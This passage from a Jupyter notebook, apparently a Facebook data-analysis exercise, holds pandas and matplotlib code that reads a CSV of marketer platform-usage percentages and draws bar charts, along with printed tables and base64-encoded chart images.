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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB24.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "plt.figure(figsize=(15,10))\n", + "plt.title(\"Facebook use for marketing vs other platforms\")\n", + "plt.ylabel(\"Platform\")\n", + "plt.xlabel(\"% of Marketers\")\n", + "plt.grid(axis='x', color='r')\n", + "plt.barh(x,y,color=['b','g','k','m','r','c','y','orange'])\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Marketers’ most important platform, Facebook vs rivals" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Platform Percentage_of_marketers\n", + "0 Facebook 59\n", + "1 Instagram 17\n", + "2 LinkedIn 14\n", + "3 YouTube 5\n", + "4 Twitter 3\n", + "5 Pinterest 1\n", + "6 Messenger Bots 1\n" + ] + }, + { + "data": { + "image/png": "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